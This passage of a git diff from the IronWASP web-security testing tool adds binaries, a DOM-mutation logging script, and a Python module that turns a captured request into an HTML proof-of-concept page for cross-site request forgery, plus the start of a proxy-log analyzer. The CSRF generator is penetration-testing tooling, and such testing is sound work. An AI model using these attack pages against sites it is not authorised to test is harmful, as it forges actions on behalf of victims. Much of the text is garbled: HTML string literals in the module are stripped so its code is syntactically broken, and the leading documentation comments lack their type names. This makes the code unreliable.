flag indicating whether the value can not equal the number defined by the "maximum" attribute. + + A flag indicating whether the value can not equal the number defined by the "maximum" attribute. + + + + Gets or sets the minimum number of items. + + The minimum number of items. + + + + Gets or sets the maximum number of items. + + The maximum number of items. + + + + Gets or sets the of items. + + The of items. + + + + Gets or sets the of properties. + + The of properties. + + + + Gets or sets the of additional properties. + + The of additional properties. + + + + Gets or sets the pattern properties. + + The pattern properties. + + + + Gets or sets a value indicating whether additional properties are allowed. + + + true if additional properties are allowed; otherwise, false. + + + + + Gets or sets the required property if this property is present. + + The required property if this property is present. + + + + Gets or sets the identity. + + The identity. + + + + Gets or sets the a collection of valid enum values allowed. + + A collection of valid enum values allowed. + + + + Gets or sets a collection of options. + + A collection of options. + + + + Gets or sets disallowed types. + + The disallow types. + + + + Gets or sets the default value. + + The default value. + + + + Gets or sets the extend . + + The extended . + + + + Gets or sets the format. + + The format. + + + + Generates a from a specified . + + + + + Generate a from the specified type. + + The type to generate a from. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + The used to resolve schema references. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + Specify whether the generated root will be nullable. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + The used to resolve schema references. + Specify whether the generated root will be nullable. + A generated from the specified type. + + + + Gets or sets how undefined schemas are handled by the serializer. + + + + + Gets or sets the contract resolver. + + The contract resolver. + + + + The value types allowed by the . + + + + + No type specified. + + + + + String type. + + + + + Float type. + + + + + Integer type. + + + + + Boolean type. + + + + + Object type. + + + + + Array type. + + + + + Null type. + + + + + Any type. + + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Gets or sets the object member serialization. + + The member object serialization. + + + + Gets or sets a value that indicates whether the object's properties are required. + + + A value indicating whether the object's properties are required. + + + + + Gets the object's properties. + + The object's properties. + + + + Gets the constructor parameters required for any non-default constructor + + + + + Gets or sets the override constructor used to create the object. + This is set when a constructor is marked up using the + JsonConstructor attribute. + + The override constructor. + + + + Gets or sets the parametrized constructor used to create the object. + + The parametrized constructor. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Get and set values for a using reflection. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + When applied to a method, specifies that the method is called when an error occurs serializing an object. + + + + + Represents a method that constructs an object. + + The object type to create. + + + + Specifies type name handling options for the . + + + + + Do not include the .NET type name when serializing types. + + + + + Include the .NET type name when serializing into a JSON object structure. + + + + + Include the .NET type name when serializing into a JSON array structure. + + + + + Always include the .NET type name when serializing. + + + + + Include the .NET type name when the type of the object being serialized is not the same as its declared type. + + + + + Converts the value to the specified type. + + The value to convert. + The culture to use when converting. + The type to convert the value to. + The converted type. + + + + Converts the value to the specified type. + + The value to convert. + The culture to use when converting. + The type to convert the value to. + The converted value if the conversion was successful or the default value of T if it failed. + + true if initialValue was converted successfully; otherwise, false. + + + + + Converts the value to the specified type. If the value is unable to be converted, the + value is checked whether it assignable to the specified type. + + The value to convert. + The culture to use when converting. + The type to convert or cast the value to. + + The converted type. If conversion was unsuccessful, the initial value + is returned if assignable to the target type. + + + + + Gets a dictionary of the names and values of an Enum type. + + + + + + + Gets a dictionary of the names and values of an Enum type. + + The enum type to get names and values for. + + + + + + Specifies the type of Json token. + + + + + This is returned by the if a method has not been called. + + + + + An object start token. + + + + + An array start token. + + + + + A constructor start token. + + + + + An object property name. + + + + + A comment. + + + + + Raw JSON. + + + + + An integer. + + + + + A float. + + + + + A string. + + + + + A boolean. + + + + + A null token. + + + + + An undefined token. + + + + + An object end token. + + + + + An array end token. + + + + + A constructor end token. + + + + + A Date. + + + + + Byte data. + + + + + Builds a string. Unlike StringBuilder this class lets you reuse it's internal buffer. + + + + + Determines whether the collection is null or empty. + + The collection. + + true if the collection is null or empty; otherwise, false. + + + + + Adds the elements of the specified collection to the specified generic IList. + + The list to add to. + The collection of elements to add. + + + + Returns the index of the first occurrence in a sequence by using a specified IEqualityComparer. + + The type of the elements of source. + A sequence in which to locate a value. + The object to locate in the sequence + An equality comparer to compare values. + The zero-based index of the first occurrence of value within the entire sequence, if found; otherwise, –1. + + + + Gets the type of the typed collection's items. + + The type. + The type of the typed collection's items. + + + + Gets the member's underlying type. + + The member. + The underlying type of the member. + + + + Determines whether the member is an indexed property. + + The member. + + true if the member is an indexed property; otherwise, false. + + + + + Determines whether the property is an indexed property. + + The property. + + true if the property is an indexed property; otherwise, false. + + + + + Gets the member's value on the object. + + The member. + The target object. + The member's value on the object. + + + + Sets the member's value on the target object. + + The member. + The target. + The value. + + + + Determines whether the specified MemberInfo can be read. + + The MemberInfo to determine whether can be read. + /// if set to true then allow the member to be gotten non-publicly.true if the specified MemberInfo can be read; otherwise, false. + + + + Determines whether the specified MemberInfo can be set. + + The MemberInfo to determine whether can be set. + if set to true then allow the member to be set non-publicly. + if set to true then allow the member to be set if read-only. + + true if the specified MemberInfo can be set; otherwise, false. + + + + + Determines whether the string is all white space. Empty string will return false. + + The string to test whether it is all white space. + + true if the string is all white space; otherwise, false. + + + + + Nulls an empty string. + + The string. + Null if the string was null, otherwise the string unchanged. + + + + Specifies the state of the . + + + + + An exception has been thrown, which has left the in an invalid state. + You may call the method to put the in the Closed state. + Any other method calls results in an being thrown. + + + + + The method has been called. + + + + + An object is being written. + + + + + A array is being written. + + + + + A constructor is being written. + + + + + A property is being written. + + + + + A write method has not been called. + + + + \ No newline at end of file diff --git a/Iron/bin/Debug/WebDriverCrawler.exe b/Iron/bin/Debug/WebDriverCrawler.exe new file mode 100644 index 0000000..c26719e Binary files /dev/null and b/Iron/bin/Debug/WebDriverCrawler.exe differ diff --git a/Iron/bin/Debug/WebDriverCrawler.exe.config b/Iron/bin/Debug/WebDriverCrawler.exe.config new file mode 100644 index 0000000..d3d2996 --- /dev/null +++ b/Iron/bin/Debug/WebDriverCrawler.exe.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/Iron/bin/Debug/WebDriverCrawler.pdb b/Iron/bin/Debug/WebDriverCrawler.pdb new file mode 100644 index 0000000..20cf293 Binary files /dev/null and b/Iron/bin/Debug/WebDriverCrawler.pdb differ diff --git a/Iron/bin/Debug/WebDriverCrawler.vshost.exe b/Iron/bin/Debug/WebDriverCrawler.vshost.exe new file mode 100644 index 0000000..b6ed6ae Binary files /dev/null and b/Iron/bin/Debug/WebDriverCrawler.vshost.exe differ diff --git a/Iron/bin/Debug/WebDriverCrawler.vshost.exe.config b/Iron/bin/Debug/WebDriverCrawler.vshost.exe.config new file mode 100644 index 0000000..d3d2996 --- /dev/null +++ b/Iron/bin/Debug/WebDriverCrawler.vshost.exe.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/Iron/bin/Debug/WebDriverCrawler.vshost.exe.manifest b/Iron/bin/Debug/WebDriverCrawler.vshost.exe.manifest new file mode 100644 index 0000000..061c9ca --- /dev/null +++ b/Iron/bin/Debug/WebDriverCrawler.vshost.exe.manifest @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/Iron/bin/Debug/WebsocketClient.exe b/Iron/bin/Debug/WebsocketClient.exe new file mode 100644 index 0000000..7c82ccf Binary files /dev/null and b/Iron/bin/Debug/WebsocketClient.exe differ diff --git a/Iron/bin/Debug/WebsocketDemoApp.exe b/Iron/bin/Debug/WebsocketDemoApp.exe new file mode 100644 index 0000000..3946810 Binary files /dev/null and b/Iron/bin/Debug/WebsocketDemoApp.exe differ diff --git a/Iron/bin/Debug/app.db b/Iron/bin/Debug/app.db new file mode 100644 index 0000000..4bbeae0 Binary files /dev/null and b/Iron/bin/Debug/app.db differ diff --git a/Iron/bin/Debug/btm.js b/Iron/bin/Debug/btm.js new file mode 100644 index 0000000..ed703de --- /dev/null +++ b/Iron/bin/Debug/btm.js @@ -0,0 +1,33 @@ +if (typeof __org_ironwasp_js__ !== "undefined" && __org_ironwasp_js__.config.innerHTML) { + (function(){ + var b = document.getElementsByTagName('Body')[0]; + var config = { attributes: true, childList: true, subtree:true, attributeOldValue:true, characterData: false }; + var observer = new MutationObserver( function(mutations) { + mutations.forEach(function(mutation) { + if (mutation.type === "attributes") { + if (mutation.target.attributes[mutation.attributeName]) { + __org_ironwasp_js__.log({action: "AttributeChanged", value: { + nodeName: mutation.target.tagName, + attributeName: mutation.attributeName, + attributeValue: mutation.target.attributes[mutation.attributeName].value} + }); + } + } + else + { + var val = []; + for(var i in mutation.addedNodes) + { + if (mutation.addedNodes[i].outerHTML) { + val.push(mutation.addedNodes[i].outerHTML); + } + } + if (val.length > 0) { + __org_ironwasp_js__.log({action:"NodeAdded", value: val}); + } + } + }); + }); + observer.observe(b, config); + })(); +} \ No newline at end of file diff --git a/Iron/bin/Debug/chromedriver-license.txt b/Iron/bin/Debug/chromedriver-license.txt new file mode 100644 index 0000000..3d0f7d3 --- /dev/null +++ b/Iron/bin/Debug/chromedriver-license.txt @@ -0,0 +1,27 @@ +// Copyright (c) 2013 The Chromium Authors. All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions are +// met: +// +// * Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// * Redistributions in binary form must reproduce the above +// copyright notice, this list of conditions and the following disclaimer +// in the documentation and/or other materials provided with the +// distribution. +// * Neither the name of Google Inc. nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/Iron/bin/Debug/chromedriver.exe b/Iron/bin/Debug/chromedriver.exe new file mode 100644 index 0000000..f22a833 Binary files /dev/null and b/Iron/bin/Debug/chromedriver.exe differ diff --git a/IronWASP/README.txt b/Iron/bin/Debug/host.db.sqlite similarity index 100% rename from IronWASP/README.txt rename to Iron/bin/Debug/host.db.sqlite diff --git a/Iron/bin/Debug/jsbeautifylib.dll b/Iron/bin/Debug/jsbeautifylib.dll new file mode 100644 index 0000000..b8b4dea Binary files /dev/null and b/Iron/bin/Debug/jsbeautifylib.dll differ diff --git a/Iron/bin/Debug/makecert.exe b/Iron/bin/Debug/makecert.exe new file mode 100644 index 0000000..fded32c Binary files /dev/null and b/Iron/bin/Debug/makecert.exe differ diff --git a/Iron/bin/Debug/modules/BodySaver/BodySaver.dll b/Iron/bin/Debug/modules/BodySaver/BodySaver.dll new file mode 100644 index 0000000..e837a39 Binary files /dev/null and b/Iron/bin/Debug/modules/BodySaver/BodySaver.dll differ diff --git a/Iron/bin/Debug/modules/BodySaver/saved_body.txt b/Iron/bin/Debug/modules/BodySaver/saved_body.txt new file mode 100644 index 0000000..4c050cb Binary files /dev/null and b/Iron/bin/Debug/modules/BodySaver/saved_body.txt differ diff --git a/Iron/bin/Debug/modules/CSRFPOCGenerator/CSRFPOCGenerator.py b/Iron/bin/Debug/modules/CSRFPOCGenerator/CSRFPOCGenerator.py new file mode 100644 index 0000000..ae56596 --- /dev/null +++ b/Iron/bin/Debug/modules/CSRFPOCGenerator/CSRFPOCGenerator.py @@ -0,0 +1,156 @@ +from IronWASP import * + +class CSRFPOCGenerator(Module): + + def GetInstance(self): + m = CSRFPOCGenerator() + m.Name = "CSRFPOCGenerator" + return m + + + def StartModuleOnSession(self,sess): + Tools.Trace("POC","StartModuleOnSession method called") + self.start_ui() + r = sess.Request + html = "\n\n" + html = html + " \n\n" + html = html + "
    \n" + + if r.Method == "GET": + for name in r.Query.GetNames(): + html = html + '\n' + + elif r.Method == "POST": + #check for Json + if Tools.IsJson(r.BodyString): + html = html + '\n' + #If Xml Request + elif Tools.IsXml(r.BodyString): + body_str = r.BodyString + count = 0 + html = html + '') + Tools.HtmlEncode(body_str) + '" ' + else: + substr1 = body_str[0:count] + substr2 = body_str[count+1:len(body_str)] + html = html + 'name="' + Tools.HtmlEncode(substr1) + '" ' + html = html + 'value=' + '"' + Tools.HtmlEncode(substr2) + '" ' + html = html + 'type=hidden ' + html = html + '>\n' + #If normal POST request + else: + for name in r.Body.GetNames(): + html = html + '\n' + html = html + "\n" + html = html + "" + # Save the File + f_html = open(Config.Path + '\\modules\\CSRFPOCGenerator\\POC.html','w') + f_html. write(html) + f_html.close() + self.ui.ModControls['result'].SetText(html) + + def start_ui(self): + Tools.Trace("POC","start_ui method called") + self.thread_id = 0 + ui = ModUi() + ui.Size = ModUiTools.GetSizeDefinition(701,610) + ui.Text = Tools.Base64Decode('Q1NSRiBQb0MgR2VuZXJhdG9y') + mod_label_1 = ModLabel() + mod_label_1.Name = 'mod_label_1' + mod_label_1.Size = ModUiTools.GetSizeDefinition(172,23) + mod_label_1.Location = ModUiTools.GetLocationDefinition(21,76) + mod_label_1.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_1.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_1.Enabled = True + mod_label_1.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_1.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_1.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_1.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_1.Text = Tools.Base64Decode('Q1NSRiBQb0MgY29kZSBpcyBwcmVzZW50IGJlbG93') + ui.Controls.Add(mod_label_1) + ui.ModControls['mod_label_1'] = mod_label_1 + result = ModRichTextBox() + result.Name = 'result' + result.Size = ModUiTools.GetSizeDefinition(652,455) + result.Location = ModUiTools.GetLocationDefinition(21,105) + result.Anchor = ModUiTools.GetAnchorStyleDefinition(True,True,True,True) + result.Dock = ModUiTools.GetDockStyleDefinition('None') + result.Enabled = True + result.BackColor = ModUiTools.GetColorDefinition(-1) + result.ForeColor = ModUiTools.GetColorDefinition(-16777216) + result.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + result.ReadOnly = False + result.ScrollBars = ModUiTools.GetRichTextBoxScrollBarsDefinition('Both') + result.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + result.Multiline = True + result.WordWrap = True + result.DetectUrls = True + ui.Controls.Add(result) + ui.ModControls['result'] = result + file_location = ModTextBox() + file_location.Name = 'file_location' + file_location.Size = ModUiTools.GetSizeDefinition(448,20) + file_location.Location = ModUiTools.GetLocationDefinition(187,19) + file_location.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + file_location.Dock = ModUiTools.GetDockStyleDefinition('None') + file_location.Enabled = True + file_location.BackColor = ModUiTools.GetColorDefinition(-1) + file_location.ForeColor = ModUiTools.GetColorDefinition(-16777216) + file_location.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + file_location.ReadOnly = False + file_location.ScrollBars = ModUiTools.GetScrollBarsDefinition('None') + file_location.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + file_location.Multiline = False + file_location.WordWrap = True + file_location.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + file_location.Text = Config.Path + '\\modules\\CSRFPOCGenerator\\POC.html' + ui.Controls.Add(file_location) + ui.ModControls['file_location'] = file_location + mod_label_2 = ModLabel() + mod_label_2.Name = 'mod_label_2' + mod_label_2.Size = ModUiTools.GetSizeDefinition(172,23) + mod_label_2.Location = ModUiTools.GetLocationDefinition(21,19) + mod_label_2.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_2.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_2.Enabled = True + mod_label_2.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_2.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_2.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_2.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_2.Text = Tools.Base64Decode('UG9DIGNvZGUgYmVsb3cgaXMgc2F2ZWQgYXQgLT4g') + ui.Controls.Add(mod_label_2) + ui.ModControls['mod_label_2'] = mod_label_2 + ui.ShowUi() + + self.ui = ui + +m = CSRFPOCGenerator() +Module.Add(m.GetInstance()) \ No newline at end of file diff --git a/Iron/bin/Debug/modules/HAWAS/HAWAS.py b/Iron/bin/Debug/modules/HAWAS/HAWAS.py new file mode 100644 index 0000000..ecdd68c --- /dev/null +++ b/Iron/bin/Debug/modules/HAWAS/HAWAS.py @@ -0,0 +1,1313 @@ +from IronWASP import * +from HAWASCore import LogReader +from HAWASCore import Structures +from HAWASCore import HawasConfig + +class HAWAS(Module): + + #Override the GetInstance method of the base class to return a new instance with details + def GetInstance(self): + m = HAWAS() + m.Name = "HAWAS" + return m + + def StartModule(self): + self.start_ui() + + def start_ui(self): + self.thread_id = 0 + ui = ModUi() + ui.Size = ModUiTools.GetSizeDefinition(900,600) + ui.Text = Tools.Base64Decode('SEFXQVMgLSBIeWJyaWQgQW5hbHl6ZXIgZm9yIFdlYiBBcHBsaWNhdGlvbiBTZWN1cml0eQ==') + ui.Icon = ModUiTools.GetIconDefinition('AAABAAIAEBAAAAAAIABoBAAAJgAAACAgAAAAACAAqBAAAI4EAAAoAAAAEAAAACAAAAABACAAAAAAAEAEAAAAAAAAAAAAAAAAAAAAAAAA//////////////////////n5+f/IyMj/gYGB/2hoaP9oaGj/fX19/8DAwP/29vb//////////////////////////////////////9DQ0P9HR0f/VFRU/5ycnP/ExMT/xMTE/6Wlpf9aWlr/Pz8//8DAwP///////////////////////////7Gxsf8QEBD/n5+f//z8/P///////////////////////f39/8bGxv8JCQn/np6e/////////////////9DQ0P8xMTH/ERER/5aWlv/////////////////////////////////MzMz/BQUF/zIyMv+9vb3///////n5+f9HR0f/ubm5/ysrK/96enr/////////////////////////////////l5eX/yQkJP/IyMj/Pz8///Ly8v/Jycn/VVVV//r6+v9CQkL/VlZW/////////////////////////////////25ubv9ERET//Pz8/2VlZf+wsLD/hISE/5ycnP//////VlZW/zU1Nf/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P88PDz/ampq//////+4uLj/bW1t/2hoaP/ExMT//////35+fv8GBgb/Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//BgYG/5ubm///////zs7O/19fX/9oaGj/xMTE//////+fn5//AQEB/xUVFf8XFxf/FxcX/xcXF/8XFxf/ExMT/wQEBP+8vLz//////8/Pz/9hYWH/f39//6SkpP//////tbW1/wgICP/Dw8P/+vr6//r6+v/6+vr/+vr6/6urq/8SEhL/4eHh//////++vr7/aGho/8LCwv9XV1f//f39/9XV1f8NDQ3/qqqq//////////////////////+EhIT/Gxsb//z8/P/+/v7/cHBw/6mpqf/29vb/Pj4+/9LS0v/t7e3/FBQU/5CQkP/////////////////+/v7/UVFR/01NTf//////5OTk/zo6Ov/v7+///////8PDw/89PT3/6enp/xwcHP9mZmb/////////////////9fX1/zExMf93d3f/8vLy/0xMTP+qqqr/////////////////n5+f/0FBQf8pKSn/RkZG//39/f///////////+Li4v8RERH/iYmJ/0xMTP+Wlpb//v7+///////////////////////AwMD/MjIy/yQkJP+3t7f/zMzM/8zMzP+hoaH/AAAA/y0tLf+qqqr//v7+//////////////////////////////////Ly8v+ysrL/bW1t/19fX/9eXl7/a2tr/6mpqf/v7+///////////////////////wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8oAAAAIAAAAEAAAAABACAAAAAAAIAQAAAAAAAAAAAAAAAAAAAAAAAA///////////////////////////////////////////////////////////09PT/4uLi/9XV1f/R0dH/0dHR/9HR0f/R0dH/0tLS/+Hh4f/x8fH//f39///////////////////////////////////////////////////////////////////////////////////////////////////////n5+f/rq6u/35+fv8+Pj7/Dw8P/wAAAP8AAAD/AAAA/wAAAP8FBQX/Ojo6/3Nzc/+goKD/3Nzc///////////////////////////////////////////////////////////////////////////////////////6+vr/oqKi/1dXV/8ODg7/ERER/z4+Pv9ra2v/iYmJ/4mJif+JiYn/iYmJ/3R0dP9OTk7/Gxsb/wQEBP9JSUn/kJCQ/+jo6P//////////////////////////////////////////////////////////////////////29vb/2xsbP8XFxf/DAwM/3Fxcf/AwMD/19fX/+/v7///////////////////////9PT0/+Dg4P/FxcX/g4OD/xYWFv8ODg7/UlJS/8nJyf///////////////////////////////////////////////////////v7+/8zMzP88PDz/BQUF/zIyMv/i4uL/9fX1///////////////////////////////////////////////////////39/f/5eXl/2dnZ/8EBAT/Gxsb/7q6uv/9/f3////////////////////////////////////////////MzMz/Ly8v/wAAAP8AAAD/bW1t//v7+//////////////////////////////////////////////////////////////////+/v7/y8vL/wcHB/8AAAD/CAgI/7i4uP//////////////////////////////////////29vb/z09Pf8LCwv/EBAQ/wAAAP9ISEj/+vr6//////////////////////////////////////////////////////////////////7+/v+2trb/AAAA/wAAAP8QEBD/HBwc/8jIyP////////////////////////////r6+v9sbGz/Dg4O/21tbf80NDT/AAAA/x8fH//39/f//////////////////////////////////////////////////////////////////Pz8/4GBgf8AAAD/FhYW/4uLi/8QEBD/TU1N/+Dg4P//////////////////////oqKi/xcXF/9DQ0P/19fX/1FRUf8AAAD/CQkJ//f39//////////////////////////////////////////////////////////////////6+vr/TU1N/wAAAP82Njb/1tbW/3t7e/8JCQn/h4eH/////////////////+fn5/9YWFj/DAwM/+Li4v/n5+f/XFxc/wAAAP8AAAD/5+fn//////////////////////////////////////////////////////////////////j4+P8cHBz/AAAA/1paWv/m5ub/6urq/zY2Nv80NDT/zMzM////////////srKy/xMTE/9xcXH/9fX1//j4+P+AgID/AAAA/wAAAP/IyMj/////////////////////////////////////////////////////////////////8vLy/wEBAf8AAAD/g4OD//n5+f/6+vr/m5ub/wMDA/+SkpL/+vr6//T09P9+fn7/ERER/8DAwP///////Pz8/4mJif8AAAD/AAAA/5GRkf/////////////////////////////////////////////////////////////////Hx8f/AAAA/wAAAP+NjY3//v7+///////MzMz/KCgo/09PT//n5+f/4uLi/z09Pf8+Pj7/19fX////////////j4+P/wAAAP8AAAD/cnJy/////////////////////////////////////////////////////////////////4+Pj/8AAAD/FRUV/6enp////////////+/v7/9ra2v/Dw8P/9XV1f/Y2Nj/Ghoa/2tra//v7+////////////+urq7/Ghoa/wAAAP9hYWH/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/Y2Nj/wAAAP8sLCz/wcHB/////////////v7+/4iIiP8AAAD/z8/P/9HR0f8AAAD/iYmJ/////////////////8DAwP8qKir/AAAA/xgYGP9/f3//fn5+/35+fv9+fn7/fn5+/35+fv9+fn7/fn5+/35+fv9+fn7/fn5+/39/f/8YGBj/AAAA/0NDQ//c3Nz/////////////////mZmZ/wwMDP+tra3/0dHR/wAAAP+JiYn/////////////////09PT/zs7O/8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/WVlZ//T09P////////////////+hoaH/ExMT/7Gxsf/R0dH/AAAA/4mJif/////////////////j4+P/SUlJ/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP9kZGT//////////////////////6Ojo/8UFBT/sbGx/9HR0f8AAAD/iYmJ//////////////////b29v9aWlr/AAAA/wQEBP8iIiL/MTEx/y8vL/8vLy//Ly8v/y8vL/8vLy//Ly8v/y8vL/8vLy//MjIy/xsbG/8CAgL/Dw8P/4+Pj///////////////////////m5ub/w4ODv+vr6//1dXV/w8PD/91dXX/9PT0/////////////v7+/2VlZf8BAQH/EBAQ/5ubm//19fX/9fX1//X19f/19fX/9fX1//X19f/19fX/9fX1//X19f/09PT/cnJy/wcHB/8aGhr/srKy//////////////////////+Kior/AAAA/8HBwf/g4OD/Nzc3/0lJSf/d3d3/////////////////dHR0/wYGBv8JCQn/fX19//////////////////////////////////////////////////f39/9PT0//AAAA/yYmJv/V1dX/////////////////9/f3/3p6ev8LCwv/1NTU//Hx8f9zc3P/EhIS/8DAwP////////////////+fn5//FBQU/wQEBP9lZWX/+/v7////////////////////////////////////////////4+Pj/0JCQv8AAAD/MTEx//X19f/////////////////V1dX/OTk5/z4+Pv/i4uL//f39/6ampv8MDAz/gICA//f39////////////7e3t/8cHBz/AAAA/1BQUP/4+Pj////////////////////////////////////////////BwcH/Kioq/wAAAP89PT3//f39/////////////f39/62trf8HBwf/i4uL//j4+P//////3Nzc/0lJSf8PDw//5OTk////////////yMjI/yIiIv8AAAD/SkpK/+/v7////////////////////////////////////////v7+/6SkpP8XFxf/AgIC/4GBgf/////////////////s7Oz/PT09/ygoKP/CwsL/////////////////kpKS/w4ODv9ra2v/+fn5///////u7u7/Li4u/wAAAP81NTX/0dHR///////////////////////////////////////8/Pz/hYWF/wQEBP8DAwP/rq6u/////////////////6enp/8FBQX/f39///7+/v/////////////////w8PD/V1dX/w4ODv+pqan///////n5+f81NTX/AAAA/yIiIv+1tbX///////////////////////////////////////b29v91dXX/AAAA/wUFBf/T09P////////////Ly8v/ExMT/zExMf/Ly8v////////////////////////////Jycn/HBwc/yAgIP+wsLD//////zw8PP8AAAD/GRkZ/6enp///////////////////////////////////////4eHh/1FRUf8AAAD/CgoK//n5+f//////zMzM/0JCQv8QEBD/ra2t//////////////////////////////////////+6urr/CgoK/yEhIf+3t7f/b29v/wEBAf8KCgr/kJCQ//7+/v/////////////////////////////////Ly8v/LCws/wAAAP8TExP//////8vLy/9CQkL/BgYG/6urq//7+/v///////////////////////////////////////39/f+6urr/Gxsb/xISEv8yMjL/AQEB/wAAAP99fX3/+/v7/////////////////////////////v7+/7+/v/8aGhr/AAAA/2BgYP+ysrL/ExMT/xAQEP+rq6v/+/v7///////////////////////////////////////////////////////IyMj/UVFR/woKCv8AAAD/AAAA/29vb//u7u7//v7+///////////////////////8/Pz/pKSk/wAAAP8AAAD/CAgI/wUFBf8xMTH/ra2t//v7+//////////////////////////////////////////////////////////////////n5+f/ioqK/zQ0NP8AAAD/ICAg/2hoaP+IiIj/mpqa/5mZmf+ZmZn/nJyc/4mJif9cXFz/AAAA/wAAAP8oKCj/gICA/8vLy///////////////////////////////////////////////////////////////////////////////////////zMzM/5OTk/9RUVH/Dg4O/wAAAP8NDQ3/DAwM/wwMDP8ODg7/AAAA/wsLC/8/Pz//i4uL/8LCwv/+/v7/////////////////////////////////////////////////////////////////////////////////////////////////+vr6/+jo6P/V1dX/z8/P/7CwsP+ysrL/srKy/62trf/Pz8//1NTU/+Li4v/4+Pj//////////////////////////////////////////////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') + mod_label_1 = ModLabel() + mod_label_1.Name = 'mod_label_1' + mod_label_1.Size = ModUiTools.GetSizeDefinition(353,23) + mod_label_1.Location = ModUiTools.GetLocationDefinition(165,14) + mod_label_1.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_1.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_1.Enabled = True + mod_label_1.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_1.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_1.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_1.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_1.Text = Tools.Base64Decode('Q2xpY2sgb24gdGhlIFN0YXJ0IEFuYWx5c2lzIGJ1dHRvbiB0byBzdGFydCBhbiBhbmFseXNpcyBvZiB0aGUgUHJveHkgbG9ncw==') + ui.Controls.Add(mod_label_1) + ui.ModControls['mod_label_1'] = mod_label_1 + show_results_btn = ModButton() + show_results_btn.Name = 'show_results_btn' + show_results_btn.Size = ModUiTools.GetSizeDefinition(135,23) + show_results_btn.Location = ModUiTools.GetLocationDefinition(12,45) + show_results_btn.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + show_results_btn.Dock = ModUiTools.GetDockStyleDefinition('None') + show_results_btn.Enabled = True + show_results_btn.BackColor = ModUiTools.GetColorDefinition(-986896) + show_results_btn.ForeColor = ModUiTools.GetColorDefinition(-16777216) + show_results_btn.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + show_results_btn.Text = Tools.Base64Decode('U2hvdyBSZXN1bHRz') + show_results_btn.Click += lambda s,e: self.show_results() + 